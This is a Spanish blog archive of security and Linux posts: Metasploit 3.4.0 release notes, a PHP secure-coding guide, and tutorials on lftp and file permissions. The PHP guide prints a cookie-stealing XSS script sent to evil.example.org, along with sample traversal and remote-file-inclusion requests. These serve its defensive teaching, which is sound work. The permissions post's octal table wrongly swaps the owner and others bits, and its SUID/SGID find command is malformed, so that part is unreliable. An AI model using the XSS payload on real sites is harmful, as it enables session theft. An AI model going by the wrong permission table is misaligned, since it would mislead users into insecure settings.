Archive

Archive for the ‘seguridad’ Category

Hackear Headset Bluethoot

Mayo 26th, 2010 guerremdq No comments

Video bastante interesante. Nos muestra una forma muy sencilla de penetrar un headset bluethoot.

Fuente www.tinkernut.com

Metasploit 3.4.0

Mayo 26th, 2010 guerremdq No comments
“El Proyecto Metasploit es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración y en el desarrollo de firmas para Sistemas de Detección de Intrusos.
Su subproyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Otros subproyectos importantes son la bases de datos de opcodes (códigos de operación), un archivo de shellcodes, e investigación sobre seguridad. Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby.”
Después de cinco meses de desarrollo, la versión 3.4.0 del Metasploit Framework se ha liberado. Desde la versión 3.3 de Metasploit se añadieron más de 100 exploits nuevos y se han corregido más de 200 errores, Metasploit ahora tiene 551 exploit y 261 módulos auxiliares.
Esta versión incluye:
  • Enormes mejoras en los payloads de Meterpreter; tanto en términos de estabilidad y características.
  • Los Payloads de Meterpreter ahora puede realizar capturas de pantalla sin tener que migrar.
  • Tiene capacidad de migrar procesos de 32-bits y 64-bits a  un sistema operativo comprometido Windows de 64-bits.
  • Un nuevo comando, “getsystem“, utiliza varias técnicas para obtener acceso al sistema desde una sesión con pocos privilegios o de administrador.
  • Esta es la primera versión de Metasploit en tener un fuerte avance en fuerza bruta de protocolos de red y acceder con credenciales crakeadas. Esta versión incluye fuerza bruta a través de SSH, Telnet, MySQL, Postgres, SMB, DB2, y más…

Full Metasploit 3.4.0 Release Notes

Descargar Metasploit 3.4.0:

Web oficial: http://www.metasploit.com/

fuente : http://blackploit.blogspot.com/

Seguridad en PHP

Abril 29th, 2010 guerremdq No comments
Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.
A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.
Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.
Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:

  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como ” ‘ ” o ” = ” . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ‘, ” y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)

Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:


<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>

Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.
CSRF (Cross Site Request Forgery)
Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:


GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Se recomienda:

  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.

Directory Traversal

Este ataque se produce cuando se especifican rutas de ficheros como “../../../../file” en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:

  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)

Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:

  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones

Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:

  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.

Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

http://www.securitybydefault.com

Cambiar de posicion los botos de ubuntu

Marzo 25th, 2010 guerremdq No comments

Cambiar los botos de ubuntu a la normalidad

Lo primero es descargar window_controls.py y darle permisos para ejecutarse:

chmod +x window_controls.py

o con click derecho Propiedades > Permisos y seleccionamos Permitir ejecutar el archivo como un programa

ahora ejecutamos en la terminal:

./window_controls.py

o damos doble click sobre el archivo y listo podremos seleccionar donde queremos los botones de las ventanas:

Visto en Actualidad GNU/Linux

Backup con lftp

Marzo 25th, 2010 guerremdq 1 comment

Backup con lftp

lftp es una aplicación manejada desde la terminal y destinada a realizar transferencias mediante protocolos ftp, http, fish, sftp, ftps y https. Permite realizar operaciones combinadas, siendo sencillo transferir, borrar, realizar backups incrementales, etc. Todo ello, mediante unas simples órdenes en la terminal que, incluso, podrán ser guardadas en un .txt para no necesitar escribirlas de nuevo; y con independencia del SO instalado en el servidor. A continuación, encontraréis un breve tutorial de iniciación a esta aplicación.

lftp se encuentra en los repositorios de numerosas distribuciones. Si no es vuestro caso, podéis descargarlo desde su web oficial.

Empecemos… La orden básica de conexión es:

Read more…

Basic permissions in Linux

Noviembre 21st, 2009 guerremdq No comments

Los permisos asociados a ficheros y directorios, son una de las medidas de seguridad básicas en los sistemas. Generalmente, el usuario propietario será la persona que ha creado el fichero, pero ésta puede ser alterada después de su creación. Existen tres tipos básicos de permisos, que son de:

  • Lectura: permite a los usuarios leer el archivo especificado.
  • Escritura: permite a los usuarios modificar el archivo especificado.
  • Ejecución: permite a los usuarios ejecutar el archivo especificado.

Cuando se asignan estos permisos, Linux guarda un registro de los mismos que posteriormente aparece reflejado en la lista de archivos, con lo cual, se crea un estado que se expresa mediante marcas:

  • r (read): acceso de lectura.
  • w (write): acceso de escritura.
  • x (execute): acceso de ejecución.

Dichas marcas, pueden ser visibles con un formato largo mediante el comando, ls -l. Ésta es una salida típica:

drwxr-xr-x 2 Pepe Pepe 4096 jun 6 12:50 lg
-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py
drwxr-xr-x 2 Pepe Pepe 4096 jun 6 12:50 scripts

Chmod BitsFIGURA 1.1: Propiedades de la tabla de permisos

Como podemos observar en la Figura 1.1, el primer carácter especifica el tipo de recurso. En este campo existen varios:

  • - representa un archivo.
  • b representa un archivo de bloques especial.
  • c representa un archivo de caracteres especiales.
  • d representa un directorio.
  • l representa un enlace simbólico

Finalmente, los nueve caracteres restantes se dividen en tres grupos:

  • Los permisos del propietario: estos permisos muestran el acceso del propietario del archivo
  • Permisos de grupo: estos permisos muestran el acceso del grupo al archivo.
  • Permisos mundiales: estos permisos muestran los derechos que tiene el resto del mundo a acceder a este archivo (si tiene alguno).

Vamos a aplicar esto al script en Python de Pepe. Como podemos observar, este recurso es un archivo.

-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py

Por consiguiente, Pepe (el propietario del archivo) tiene todos los derechos de acceso en él, con lo cual puede leer, escribir y ejecutar el archivo.

-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py

De igual modo, los usuarios del grupo (del grupo Pepe) también pueden leerlo, escribirlo y ejecutarlo.

-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py

Y finalmente, aquellos que no sean Pepe y que no pertenezcan a su grupo, tienen derecho a leer y ejecutar el archivo, pero en cambio, no pueden escribir en él.

En resumen:

  • El primer carácter representa normalmente si es un archivo (-) o un directorio (d).
  • El primer conjunto de los tres caracteres indica los privilegios del usuario.
  • El siguiente conjunto, los privilegios del grupo.
  • Y finalmente, el último conjunto indica los privilegios del resto de usuarios.

chmod: cambiar los permisos de los archivos

Para definir los permisos a un usuario concreto sobre un archivo o un directorio, se utiliza el comando chmod. Existen tres tipos de operadores:

  • El operador - quita los permisos.
  • El operador + agrega permisos.
  • El operador = asigna permisos.

Veámos un claro resumen de como podemos quitar, agregar o asignar estos operadores.

  • r: Éste carácter añade o quita el permiso de lectura. Ejemplo: chmod +r nombre de archivo
  • w: Éste carácter añade o quita el permiso de escritura. Ejemplo: chmod -w nombre de archivo
  • x: Éste carácter añade o quita el permiso de ejecución. Ejemplo: chmod +x nombre de archivo

Un método consiste en añadir letras (r, w, x) para asignar permisos a archivos individuales o directorios. Otro es utilizar el sistema octal, con el cual se pueden añadir valores octales y que veremos en el siguiente apartado.

Sistema octal

El sistema octal, es un sistema numérico en base 8 que utiliza los dígitos de 0 a 7.

La siguiente tabla resume el esquema octal y lo que representa cada número, aunque seguidamente lo veremos con más detalle.

Sistema octalFIGURA 1.2: Valores octales
  • 0000: Equivale a --- por lo que no tenemos ningún permiso.
  • 0001: Equivale a --x por lo que el propietario tiene permisos de ejecución.
  • 0002: Equivale a -w- por lo que el propietario tiene permisos de escritura.
  • 0004: Equivale a r-- por lo que el propietario tiene permisos de lectura.
  • 0010: Equivale a --x por lo que X grupo tiene permisos de ejecución.
  • 0020: Equivale a -w- por lo que X grupo tiene permisos de escritura.
  • 0040: Equivale a r-- por lo que X grupo tiene permisos de lectura.
  • 0100: Equivale a --x por lo que otros tienen permisos de ejecución.
  • 0200: Equivale a -w- por lo que otros tienen permisos de escritura.
  • 0400: Equivale a r-- por lo que otros tienen permisos de lectura.
  • 1000: Éste modo denominado Sticky bit, es aplicado a directorios importantes (como /tmp) con privilegios especiales. El bit asignado a un directorio sólo puede ser renombrado o borrado por el propietario del elemento del directorio o root aunque el resto tenga permisos de escritura. Además, éstos se indentifican mediante una t en la última posición de la propiedad de permisos. Ejemplo: drwxrwxrwt 13 root root 4096 jun 6 22:44 tmp
  • 2000: Éste modo denominado bit SETGID (Set Group ID) está orientado a facilitar el trabajo en grupo cuando varios usuarios deben de acceder a una colección común de ficheros y directorios. Se representan mediante la letra S. Por ejemplo, drwxrws--- 2 Pepe profesorado 4096 jun 3 22:12 Documentos el propietario del directorio y los miembros del grupo profesorado pueden acceder a este directorio. Los usuarios que no sean miembros de este grupo se “asignan” al mismo, con lo cual puede suponer un riesgo de seguridad si se definiera el valor root SUID en un programa.
  • 4000: Finalmente, éste modo denominado bit SETUID (Set User ID) es un atributo de archivo especial que indica al sistema que debe ejecutar los programas marcados con un ID de usuario en concreto. Por ejemplo, el programa vipw normalmente necesita permisos de usuario root para acceder a /etc/passwd, por tanto un usuario normal no podría cambiar dicho archivo, ya que sería demasiado peligroso otorgar a todos los usuarios acceso directo a él.

NOTA: Si los atacantes pueden explotar las debilidades de los programas root de SUID, potencialmente pueden obtener privilegios de root.
Los archivos de bit SUID y SGID pueden ser buscados de la siguiente forma: find / \( -perm -4000 -o -perm 2000 \) -ls > archivos_con_suid_sgid.txt con lo que nos hará un listado en un archivo de texto que posteriormente podemos analizar para otorgar los permisos adecuados para así, obtener un sistema mucho más seguro.

Finalmente, podemos facilitar las cosas reduciendo rápidamente los permisos del propietario, de grupos y otros usuarios a un número de tres dígitos utilizando los siguientes valores:

  • 0: Sin permisos.
  • 1: Ejecución.
  • 2: Escritura
  • 3: Escritura y ejecución (actualmente no se utiliza mucho).
  • 4: Lectura.
  • 5: Lectura y ejecución.
  • 6: Lectura y escritura.
  • 7: Todo el conjunto: lectura, escritura y ejecución.

Veámos un caso práctico:

[cloti@ ~]$ pwd; cd /home/pepe/
/home/cloti
bash: cd: /home/pepe/: Permiso denegado


[pepe@ ~]$ chmod 755 /home/pepe/; ls -l /home
drwx------ 4 cloti secretaria 4096 jun 7 01:45 cloti
drwx------ 4 juan profesorado 4096 jun 7 01:45 juan
drwxr-xr-x 4 pepe profesorado 4096 jun 7 01:41 pepe

[cloti@ ~]$ cd /home/pepe/; ls -l
-
rw-r--r-- 1 pepe profesorado 548 jun 7 02:20 Álgebras.doc
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:19 Exámenes
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:20 Física
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:20 Matemáticas
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:20 Prueba de acceso
-
rw-r--r-- 1 pepe profesorado 897 jun 7 02:20 Tema 4 Funciones.docx

Primeramente, podemos observar como el usuario cloti intenta acceder a la carpeta pepe (/home/pepe), la cual le deniega el acceso. Seguidamente, nuestro protagonista Pepe ha decidido darle permisos de lectura y ejecución a Cloti, que posteriormente ha podido acceder igual que podría hacerlo Juan siendo éste de su mismo grupo.

Fuente ; http://arrivalsec.wordpress.com

Power by Debian, Apache